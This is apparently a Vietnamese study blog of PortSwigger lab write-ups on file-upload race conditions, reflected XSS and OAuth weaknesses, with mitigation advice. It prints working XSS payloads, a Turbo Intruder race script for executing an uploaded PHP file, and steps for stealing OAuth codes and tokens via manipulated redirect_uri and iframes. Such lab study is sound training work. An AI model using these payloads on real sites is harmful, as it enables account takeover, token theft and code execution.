Race conditions trong khai thác lỗ hổng file upload là trường hợp xảy ra cho phép bạn có thể upload một file thông qua URL. Server sẽ fetch file của bạn và tạo một bản copy cục bộ trước khi nó bị xác thực.

Ngày nay, các hệ thống càng ngày càng thay đổi để có thể ngăn chặn các cuộc tấn công file upload. Họ sử dụng một nơi lưu trữ tạm thời để lưu trữ tệp, sau đó thay đổi tên ngẫu nhiên tên của tệp và bắt đầu xác thực nó. Tệp nào độc hại thì loại bỏ tệp nào ổn thì sẽ cho phép upload vào nơi lưu trữ gốc. Điều này dường như bất khả thi để dò ra nó tên gì để attacker thực thi nó nếu may mắn vượt qua vòng xác thực.

Phân tích

Vỏ quýt dày có móng tay nhọn. Đó là câu mà ông cha ta đã dạy, để bypass cái cách này, ta có thể sử dụng trick để khiến cho quá trình chuyển đổi giữa các bước bị delay để RCE code có thể thực thi trên server.

Ta thực hiện các bước tương tự như các lab ở trên thì thấy hệ thống không cho phép ta upload 1.php lên:

Thử upload 1.php

Thử đổi file thành hehe.php.png và upload lên hệ thống thì có hệ thống đã cho phép tải RCE code lên nhưng dưới extension PNG :3

Đổi thành hehe.php.png

Khai thác

Sau đó, sử dụng tiện ích Turbo Intruder trong Burp Store để có thể intruder theo ý ta muốn.

Trong HTTP History, ta tìm kiếm request mà đã upload thành công hehe.php.png, sau đó chuột phải -> Extensions -> Turbo Intruders -> Send to Turbo Intruder:

Gửi qua Turbo Intruders

Tiếp theo, ta sử dụng đoạn code dưới đây và thay đổi <YOUR-POST-REQUEST> thành request POST đã gửi thành công file hehe.php.png, thay đổi <YOUR-GET-REQUEST> thành request đến /files/avatars/hehe.php.png. Đại loại thì đoạn code này sẽ giúp cho request của ta được tồn tại lâu hơn và tệp hehe.php (sau khi bỏ .png ở các request thay đổi) có thể thực thi trên server:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Lưu ý: Khi đổi xong 2 phần trên, ta cần phải loại bỏ phần .png để có biến nó thành .php để nó có thể thực thi trên hệ thống.

Bây giờ, ta đã config xong xuôi thì bấm Attack và chờ đợi timeout 60s:

Nhấn attack thôi

Ở các request, ta có thể tìm kiếm được bí mật của chú Carlos và submit thôi:

Submit

Cross-site Scripting (XSS)

Lỗ hổng Cross-site Scripting (XSS)

Cross-site Scripting (XSS) là lỗ hổng cho phép attacker inject malicious scripts vào web pages được xem bởi users khác. Attacker có thể:

  • Đánh cắp session tokens, cookies
  • Thực hiện actions thay mặt victim
  • Đọc/modify nội dung trang web
  • Phishing và social engineering

Cách XSS hoạt động

Thông thường, để kiểm tra XSS người ta dùng alert() hoặc print() để trigger popup.

Các loại XSS

XSS được chia thành 3 loại chính:

Reflected XSS

Malicious script được truyền qua HTTP request và phản hồi ngay lập tức trong response. Không được lưu trữ.

Ví dụ: https://vulnerable.com/search?q=<script>alert(1)</script>

Stored XSS

Malicious script được lưu vào database và hiển thị cho mọi user truy cập. Nguy hiểm hơn Reflected XSS.

Ví dụ: Comment, profile bio, forum posts

DOM-based XSS

Lỗ hổng xảy ra ở client-side khi JavaScript xử lý data không an toàn từ DOM sources (URL, localStorage, etc.)

Labs - Danh sách các bài thực hành

1. Reflected XSS

Các lab về Reflected XSS

HTML Context

JavaScript Context

2. Stored XSS

Các lab về Stored XSS

Coming soon...

3. DOM-based XSS

Coming soon...

Cách phòng chống XSS

Input Validation & Output Encoding

  • Encode output: HTML encode < > " ' & khi hiển thị user input
  • Context-aware encoding: HTML context khác JavaScript context khác URL context
  • Validate input: Whitelist allowed characters
  • Sanitize HTML: Nếu cho phép HTML, dùng library như DOMPurify

Content Security Policy (CSP)

Sử dụng CSP headers để restrict nguồn scripts có thể chạy:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com

HTTPOnly & Secure Cookies

  • Set HttpOnly flag để JavaScript không đọc được cookies
  • Set Secure flag để cookies chỉ gửi qua HTTPS

Framework Protection

Modern frameworks như React, Angular, Vue tự động escape output. Tuy nhiên vẫn cần cẩn thận với:

  • dangerouslySetInnerHTML (React)
  • bypassSecurityTrustHtml (Angular)
  • v-html (Vue)

Tài nguyên tham khảo

XSS - Reflected XSS

Reflected XSS xảy ra khi một website có chức năng search và filter với URL như sau: https://insecure-website.com/search?term=gift. Nếu website dính Reflected XSS, attacker có thể lợi dụng để tấn công bằng cách truyền vào term parameter dạng: https://insecure-website.com/search?term=<script>alert("Hehe website is hacked")</script>.

HTML Context Labs

JavaScript Context Labs

Tổng quan

Reflected XSS techniques bao gồm:

  • Bypass HTML encoding
  • Bypass tag/attribute filtering
  • Sử dụng custom tags và SVG
  • Escape từ JavaScript context
  • Trigger qua event handlers

Lab: Reflected XSS into HTML context with nothing encoded

Lab URL: PortSwigger Lab

Mô tả

Lab này là bài đầu tiên trong chủ đề Reflected XSS. Công việc của mình là khiến website la lên thông qua hàm alert().

Khai thác

Mở Lab thì mình sẽ thấy ngay một ô Search và ngại gì nữa mà không thử <script>alert(1)</script>

Thử payload

Ngay sau đó, website đã la lên "1" rồi nè =)))

Thử payload

Kết quả

Như vậy, ta có thể thấy khi chức năng Search không được chăm sóc kỹ thì sẽ dẫn đến XSS. Ở Lab này, tác giả đã không mã hóa nội dung khi mình gửi request lên server. Vậy là ta đã solved rồi :3

Solved

Lab: Reflected XSS into HTML context with most tags and attributes blocked

Lab URL: PortSwigger Lab

Mô tả

Bài này yêu cầu ta thực hiện bypass qua WAF và gọi được hàm print().

Phân tích

Về tổng thể, bài này có giao diện tương tự như Lab trước. Như tên bài Lab, nó sẽ chặn các thẻ và thuộc tính nhất định khi ta truyền XSS script vào.

Thử tag

Mình đã thử vài thẻ nhưng không bypass được. Do vậy, mình sẽ dùng Burp Intruder để bruteforce tìm ra whitelist:

Bruteforce

Mọi người có thể thấy, body được whitelist trong lab này. Công đoạn tiếp theo là mình sẽ phải tìm attribute được whitelist. Vì nó sẽ bị block như vầy:

Thử attribute

Mình có biết sơ về XSS nên đã thử vài option như: onerror, onload,... nhưng không được, may sao onresize lại bypass được:

Bypass attribute block

Khai thác

Giờ thì vào Exploit Server và gắn payload <body onresize=print()> vào để exploit thôi:

Payload: <iframe src="https://ac771fb71ec56c4cc17a19d000c30039.web-security-academy.net/?search=<body%20onresize=print()>" onload=this.style.width='100px'>

Note: Ban đầu mình không gắn onload vào iframe nên nó không load được cái src của mình nên cần phải gắn attribute vô iframe.

Kết quả

Vậy là solved rồi:

Solved

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

Lab URL: PortSwigger Lab

Mô tả

Bài Lab này cũng tương tự như phần chặn hầu hết các tags và attribute, tuy vậy nó sẽ cho ta sử dụng custom tags. Lab yêu cầu ta thực hiện alert ra document.cookie.

Phân tích

Vì nó đã block hết tags nên ta không thể truyền script vào được:

Block các tags

Khai thác

Thế thì ta chỉ cần custom cái tag lại và Delivery đến lab:

Payload: <script> location='https://ac431f2f1efc3d82c04819bd00a6002d.web-security-academy.net/?search=<nh4ttruong+id=x+onfocus=alert(document.cookie)+tabindex=1>#x'; </script>

Dùng onfocus để trigger đến alert, dùng #x để trỏ ngay đến id của tag.

Kết quả

Solved

Lab: Reflected XSS with event handlers and href attributes blocked

Lab URL: PortSwigger Lab

Mô tả

Bài Lab yêu cầu ta thực hiện Reflected XSS khi các event handlers và href attribute đã bị block. Bên cạnh đó, sử dụng vector để gọi alert.

Khai thác

Do vậy, mình sẽ sử dụng svg tag để trigger alert vì nó có thẻ con là animate và trong animate có thuộc tính attributeName, values và mình có thể thêm href cũng như script vào tùy ý.

Payload: https://ace01fe61f679bb0c0a0298b00bc0014.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%3C%2Ftext%3E%3C%2Fa%3E

Kết quả

Solved

Lab: Reflected XSS with some SVG markup allowed

Lab URL: PortSwigger Lab

Mô tả

Lab này yêu cầu ta thực hiện gọi alert() và đương nhiên nó sẽ chặn một vài tags.

Phân tích

Đến đây, mình thử dùng được tag . Mình thử qua các child tag của thì thấy không bị block.

Vì lab này không chặn các event handlers, nên mình sẽ cố bắt nó chạy các event handlers. Chuyện có vẻ khá khó khi nó cũng chặn các event handlers. Giờ thì bruteforce thoi.

Sau khi bruteforce, mình thấy onbegin được thả, nên dùng nó vào.

Khai thác

Payload: <svg><animateTransform attributeName=nh4ttruong onbegin=alert(1)></svg>

Solved

Kết quả

Thế là done:

Solved

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

Lab URL: PortSwigger Lab

Mô tả

Lab yêu cầu ta khiến website la lên bằng "alert()".

Phân tích

Đầu tiên, ta test thử với <script>alert(1)</script>:

Test script

Ta có thể thấy, dấu '<' bị mã hóa thành '<' và dấu '>' bị mã hóa thành '>'. Do vậy, script sẽ không thể chạy, giờ thì tìm cách khác.

Vuln

Theo như hình trên, mọi người có thể thấy, thẻ input có thuộc tích values chứa nội dung mà ta search và được ngăn nhau bởi '"'. Bây giờ, ý tưởng là sẽ thực hiện thêm event handler vào và trigger nó thôi.

Khai thác

Payload

Mình đã thêm "onmousemove="alert(1) vào để biến nó thành ...values=""onmousemove="alert(1)" để trigger khi di chuyển chuột thì sẽ chạy alert(1).

Kết quả

Và thế là solved!

Solved

Lab: Reflected XSS in canonical link tag

Lab URL: PortSwigger Lab

Mô tả

Bài lab này yêu cầu ta thực hiện trigger với shortcut key để khiến website alert().

Khai thác

Vậy thì chỉ có thể dùng accesskey để kêu nó alert thôi:

Payload: .?accesskey='x'onclick='alert(1)

Alert được gọi khi ta nhấn "ALT+SHIFT+X":

Trigger

Kết quả

Và solved:

Solved

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

Lab URL: PortSwigger Lab

Mô tả

Lab này yêu cầu ta dùng trick để bypass bằng dấu "'" và "/", "" của website.

Phân tích

Test thử thanh search của Lab và check source code:

Source code

Ta thấy, script của website sẽ như sau:

<script>
    var searchTerms = '123';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

encodeURIComponent() trong Javascript sẽ mã hóa tất cả các ký tự ngoại trừ - _ . ! ~ * ' ( ). Do vậy, mình đã thử nhiều cái những vẫn bị encode đưa vào document.write.

Nhưng mà, ta có thể chèn </script> vô để khóa cái searchTerms lại và chèn thêm script tùy ý vào mà đúng không =))))

Khai thác

Payload: </script><script>alert(1)</script>

Kết quả

Solved

Stored XSS

🚧 Under Construction 🚧

Status: Đang trong quá trình "nghiên cứu sâu" (aka đang procrastinate) 😅

Xin lỗi bạn đọc! Phần này tác giả đang:

  • Làm LAB
  • Viết write-up
  • Ngồi suy nghĩ về cuộc đời ✅
  • Đợi deadline áp lại gần để có động lực ✅

Tại sao chưa có nội dung?

Stored XSS thì... nó được "stored" rồi, để từ từ lấy ra viết sau nhé! 🤣

Hẹn gặp lại!

Coming soon™ (năm 2077 chắc có rồi 😂)

OAuth 2.0 Authentication Vulnerabilities

OAuth là gì?

Có bao giờ bạn thắc mắc tại sao các website cho phép Sign in with Google, Sign in with GitHub?

Ví dụ về OAuth

Đó chính là OAuth/OAuth 2.0 - một protocol cho phép website sử dụng chức năng xác thực của một service khác (như Google, Facebook, GitHub) mà không cần user chia sẻ password.

Cách OAuth 2.0 hoạt động

OAuth 2.0 là trung gian giao tiếp giữa 3 bên:

  • Resource Owner (User): Chủ sở hữu data
  • Client Application: Website muốn truy cập data
  • OAuth Provider: Service cung cấp OAuth (Google, Facebook, etc.)

Quy trình cơ bản (4 bước)

  1. Client Application yêu cầu quyền truy cập một phần data của user
  2. User đăng nhập vào OAuth Provider và đồng ý cấp quyền
  3. Client Application nhận access token từ OAuth Provider
  4. Client Application dùng token để gọi API và lấy data của user

OAuth Grant Types

  • Authorization Code: Secure nhất, dành cho server-side apps
  • Implicit: Đơn giản hơn nhưng kém an toàn, dành cho client-side apps
  • Client Credentials: Dành cho machine-to-machine
  • Resource Owner Password: Ít được khuyến khích dùng

Các lỗ hổng phổ biến

Phía Client Application

  • ❌ Không validate state parameter → CSRF
  • ❌ Tin tưởng hoàn toàn data từ OAuth Provider
  • ❌ Implement sai grant type flow

Phía OAuth Provider

  • ❌ Không validate redirect_uri đúng cách
  • ❌ Không kiểm tra client_id
  • ❌ Lỗ hổng trong scope validation
  • ❌ Token leakage qua Referer header

Phía User

  • ❌ Phishing - đăng nhập vào fake OAuth Provider
  • ❌ Malicious apps yêu cầu quá nhiều permissions

Labs - Danh sách các bài thực hành

1. Implicit Flow Vulnerabilities

Các lab về lỗ hổng trong Implicit Flow

2. Redirect URI Vulnerabilities

Các lab về lỗ hổng Redirect URI

Cách phòng chống

OAuth Provider (Authorization Server)

Validate redirect_uri nghiêm ngặt

  • Exact match hoặc whitelist cụ thể
  • Không cho phép wildcards trong domain
  • Kiểm tra cả protocol (https://)

Implement state parameter

  • Generate random, unique value mỗi request
  • Validate khi nhận callback

Token security

  • Short-lived access tokens
  • Refresh tokens với rotation
  • Bind tokens to client

Client Application

Luôn dùng state parameter để chống CSRF

Validate tokens

  • Verify signature nếu dùng JWT
  • Check expiration time
  • Validate issuer và audience

Redirect URI best practices

  • Register exact URIs với provider
  • Không dùng wildcard redirects
  • Validate redirect_uri ở backend

Scope principle

  • Chỉ request scopes cần thiết
  • Hiển thị rõ permissions cho user

User

✅ Check URL trước khi login (phishing) ✅ Review app permissions định kỳ ✅ Revoke access của apps không dùng

Impact của OAuth vulnerabilities

  • 🔴 Account takeover: Chiếm tài khoản victim
  • 🔴 Data leakage: Đọc private data của user
  • 🟠 Unauthorized actions: Thực hiện actions thay mặt user
  • 🟡 Privacy violation: Thu thập data không đồng ý

Tài nguyên tham khảo

OAuth Implicit Flow

OAuth 2.0 Implicit Grant Type và Profile Linking

Các labs trong phần này tập trung vào lỗ hổng liên quan đến Implicit Flow và việc link profile trong OAuth 2.0.

Giới thiệu

Implicit Grant Type là một trong những flow của OAuth 2.0, được thiết kế để đơn giản và nhanh chóng. Tuy nhiên, chính sự đơn giản này cũng tạo ra các lỗ hổng bảo mật nếu không được triển khai cẩn thận.

Labs

Authentication bypass via OAuth implicit flow

Khai thác lỗ hổng trong implicit grant type để bypass authentication và truy cập tài khoản khác.

Forced OAuth profile linking

Lợi dụng lỗ hổng CSRF trong quá trình link profile OAuth để chiếm quyền tài khoản admin.

Lab: Authentication bypass via OAuth implicit flow

Link: https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow

Lab implicit-flow

OAuth Implicit Grant Type

Đối với Implicit grant type, đây là một cách xác thực kiểu ngầm hiểu và nhanh chóng. Chính vì nó nhanh nên dễ có lỗi. Tổng quan qua thì flow của nó như sau:

  1. Authorization request - Xác thực yêu cầu: Khi người dùng yêu cầu login bằng OAuth, website sẽ request đến OAuth Service
  2. User consent - Người dùng chấp thuận: Người dùng sẽ click để đồng ý với request login bằng OAuth
  3. Access token grant - Cấp mã token để truy cập: Sau khi user đồng ý request, OAuth Service sẽ chuyển hướng đến trình duyệt của user. Nhưng thay vì nó gửi theo một mã xác thực thì "implicit grant type" nó gửi luôn cái token thông qua request. Sau đó, Client Application phải lấy thông tin đó và cấp truy cập
  4. API call - Gọi API: Sau khi có được access token, Client Application gọi một API đến OAuth Service thông qua trình duyệt để request thông tin người dùng /userinfo
  5. Resource grant - Cấp quyền truy cập tài nguyên: Server sẽ xác thực token đối với Client Application đang ở phiên đó. Nếu đúng thì nó sẽ phản hồi bằng cách request tài nguyên dữ liệu của user dựa trên token và Client Application có thể sử dụng thông tin, data đó của user.

Mục tiêu

Bài lab này yêu cầu ta thực hiện login với tài khoản social media và cố gắng truy cập vào bằng tài khoản email carlos@carlos-montoya.net

Giải pháp

Lab đã cung cấp sẵn tài khoản của chú Wiener rồi và chúng ta sẽ truy cập thử vào tài khoản này rồi sử dụng Burp Suite để kiểm tra HTTP Proxy xem điều gì xảy ra nhé!

Login bằng tài khoản của chú Wiener

Sau khi login vào tài khoản của chú Wiener, mình kiểm tra HTTP Proxy thì nó ghi lại log như sau:

HTTP proxy

Ở request thứ 58, xuất hiện request đến OAuth Service /auth/... để xác thực thông tin user đến (host của nó là oauth-acb....)

Check xuống thì ta có thể thấy ở request 68, server đang thực hiện phản hồi bằng cách POST /authenticate đến host Client Service để thông báo là "à token đó đúng rồi đó, bạn có thể truy cập tài nguyên của user rồi đó"

Token của phiên

Okay, đến đây thì mình đã có access token, một cái mã để truy cập cho phiên làm việc. Vậy thì mình sẽ dựa vào cái này để đánh lừa server là ông chú Carlos đang truy cập với email của ổng. Vì với "implicit grant type" không có bước nào nó xác thực lại thông tin request của bên OAuth cả mà nó theo 1 flow qua lại sau khi user đã đồng ý login bằng OAuth.

Ta thực hiện đổi "email" của chú Wiener thành của chú Carlos và POST request lên server:

Gửi request

Cuối cùng, ta thực hiện reload lại trình duyệt và kiểm tra thì đã solved được lab cũng như truy cập thành công tài khoản của chú Carlos yêu dấu.

Solved

Note: Nếu reload mà không thấy được solve thì bạn có thể sử dụng chức năng Request to browser để chọn phiên làm việc của cái request POST đã sửa email nhé!

Lab: Forced OAuth profile linking

Link: https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking

Lab implicit-flow

Giới thiệu

Trong bài này, mình sẽ cần login vào tài khoản bằng OAuth thay vì là tài khoản và mật khẩu thông thường. Lab cũng nói là sử dụng CSRF để khai thác.

Phân tích

Tương tự như các bài lab, ta thử login bằng tài khoản được cung cấp, sau đó link với OAuth

Login bằng tài khoản được cung cấp

Sau đó, sử dụng tài khoản peter.wiener:hotdog để link với social account

Link với OAuth

Đến đây, ta sẽ phân tích Proxy History xem những gì đã xảy ra. Mình phát hiện được request thứ 53 là một request để link tài khoản social với tài khoản dạng /auth...

Request xác thực

Như lab đã đề cập, bài này sẽ liên quan đến CSRF, do vậy, khi xem kỹ request này thì tham số state không được sử dụng.

Tham số state là một tham số có nhiệm vụ mã hóa thông tin mà bạn cần. Sau đó, bạn sẽ sử dụng một giá trị random đó để xác thực lúc nhận được phản hồi. Tham số này rất quan trọng để tránh CSRF attack nhưng trong request trên thì người ta lại không dùng. Đến đây thì mình sẽ lợi dụng tính thiếu xác thực này để khai thác nó.

Khai thác

Trong proxy history, ở request thứ 66, ta có thể thấy được 1 request dạng /oauth-linking=?code.... Request này có vẻ như yêu cầu xác thực với code để hoàn tất quá trình login bằng OAuth. Và với vai trò như vậy thì có nghĩa code này sẽ chỉ được sử dụng 1 lần. Dựa vào đây mình có thể nhờ nó để có thể đánh lừa server bằng cách trộm nó nhưng không sử dụng nó, có nghĩa là nó vẫn còn hiệu lực và mình có thể khai thác bằng cách đánh lừa exploit server mà lab đã cung cấp để login as admin.

Code linking

Okay, đến đây ta thực hiện login lại từ đầu và link với social account 1 lần nữa, nhưng đến bước Continue sau khi link với social account thì ta sẽ drop nó để hủy request (có nghĩa là đợi server gửi code cho mình xong mình sẽ qua cầu rút ván =)))).

Stolen code

Đây là code mà mình đã trộm được. Bây giờ, mình sẽ vào exploit server để khai thác. Bởi vì server sẽ đọc tất cả những gì mà mình gửi do vậy, mình sẽ gửi đi 1 iframe để đánh lừa hệ thống với code mình trộm được ban nãy. Mình sẽ copy nguyên cái request chứa mã xác thực nãy chưa dùng và gắn nó vào src:

Stolen code

Sau đó, mình send nó và reload lại page và click vào Admin Panel thì mình sẽ thấy được 2 nút delete quyền lực:

Stolen code

Đến đây thì bai bai chú Carlos và thế là solved!

Stolen code

Kết luận

Tóm lại, OAuth sẽ có nhiều option để thiết lập, do vậy, khi thiếu state khi trao đổi thông tin từ server và client thì sẽ là một mối nguy hiểm liên quan đến lỗ hổng CSRF.

OAuth Redirect URI Vulnerabilities

Khai thác lỗ hổng trong xác thực redirect_uri

Các labs trong phần này tập trung vào việc khai thác lỗ hổng liên quan đến redirect_uri trong OAuth 2.0.

Giới thiệu

Redirect URI là một thành phần quan trọng trong OAuth 2.0 flow. Nếu server không xác thực đúng cách redirect_uri, attacker có thể:

  • Hijack authorization code
  • Đánh cắp access tokens
  • Chiếm quyền tài khoản người dùng

Labs

OAuth account hijacking via redirect_uri

Khai thác lỗ hổng xác thực redirect_uri để hijack authorization code và chiếm tài khoản admin.

Stealing OAuth access tokens via an open redirect

Sử dụng path traversal kết hợp với open redirect để leak access tokens của nạn nhân.

Stealing OAuth access tokens via a proxy page

Lợi dụng trang proxy để đánh cắp OAuth access tokens thông qua iframe injection.

Lab: OAuth account hijacking via redirect_uri

Link: https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri

Lab OAuth-hijacking

Phân tích

Đầu tiên, mình sẽ "go around" website với quy trình login. Mở Burp check History Proxy, ta có thể thấy được request yêu cầu xác thực /auth?client_id=...:

Auth Client request

Sau đó, ta send nó sang Burp Repeater để tiện theo dõi quá trình "login" của nó. Ở đây, với tham số redirect_uri, ta có thể thử điều chỉnh nó đến exploit server để xem có gì xảy ra:

Test

Sau khi send request, ta tiếp tục Follow Redirect thì nhận được một redirect url với một dòng code như bên trên. Như vậy, có thể thấy với tham số redirect-uri mà không kiểm tra thì ta có thể dễ dàng redirect đến bất cứ đâu ta muốn như trong trường hợp này thì đã lừa được server gọi callback send code về cho ta.

Khai thác

Tương tự, ta sẽ sử dụng Exploit Server để tiến hành exploit challenge. Mình sẽ send một request đến /exploit với body là một iframe:

Exploit with iframe

Sau khi Store và Deliver Code đến nạn nhân, kiểm tra Access log thì ta có được một request với leak-code:

Leaked Code

Sử dụng browser để truy cập đến URL đó, ta sẽ vào được Admin Panel:

Open Leaked Code URL

Admin Panel

Và thế là ta đã vào được Admin Panel, tiến hành xóa chú Carlos thì đã giải được challenge:

Solved

Lab: Stealing OAuth access tokens via an open redirect

Link: https://portswigger.net/web-security/oauth/lab-OAuth-stealing-redirect-oauth-access-tokens-via-an-open-redirect

OAuth-stealing-redirect-access-token

Giới thiệu

Thử thay đổi URI như các phần bên trên thì kết quả cho thấy, server không chiều theo ý ta nữa rồi. Ở lab này, tác giả có đề cập đến 1 phương pháp đó chính là Path Traversal và ta sẽ sử dụng chúng.

Khai thác

Ở server exploit, ta sẽ thử send đến server đoạn payload như dưới đây để buộc server gửi về cho ta access token:

payload

Sau khi Store, ta sử dụng View Exploit xem payload đã gửi chưa:

view-exploit

Như ta thấy, một access token đã được đính kèm trên URL như vậy có nghĩa là token này đã bị leaked khi ta sử dụng payload.

Quay lại Proxy History, ta thấy với request /me, server sẽ trả về cho ta một cái gọi là apikey. Để trả về đúng API key, server sẽ xác thực với Authorization cùng token:

Test request API Key

Ta sẽ Delivery code exploit với payload ở trên để leak 1 token mới. Kiểm tra log sẽ thấy token như sau:

Log

Đến lúc này ta thay đổi token và send nó thì sẽ nhận được API key cần tìm của administrator:

Exploit

Và lúc này chỉ cần submit challenge thôi:

Solved

Lab: Stealing OAuth access tokens via a proxy page

Link: https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page

OAuth-stealing-proxy-page

Phân tích

Bài này cũng khá giống với bài bên trên, audit website thì ta có thể thấy ở mỗi post đều có chức năng bình luận và bình luận cái gì cũng được:

Test comment

Đến đây, sau khi tham khảo payload, mình đã thử sử dụng payload như sau:

Payload

Store và View Exploit thì thấy ta đã có một iframe comment như lab:

View Exploit

Khai thác

Đến đây coi như xong, ta Delivery exploit code sau đó check log để get token:

Get token

Send token bằng request /me:

Exploit

Như vậy, ta đã có được API của administrator, submit thôi:

API key

Disclaimer

This project is intended for educational purposes only.

By using any materials, scripts, or walkthroughs provided in this repository, you agree to the following:

  • You will not use any information or tools provided here for malicious or unauthorized purposes.
  • All challenges and labs referenced are publicly accessible platforms or practice environments (e.g., Root-Me, PortSwigger).
  • The content is shared for the purpose of learning cybersecurity, penetration testing, and ethical hacking techniques.
  • The author(s) are not responsible for any misuse, damage, or legal consequences resulting from the use of this content.

If you're unsure about whether your actions are ethical or legal, you probably shouldn't do them.

Stay ethical. Hack responsibly. Learn continuously.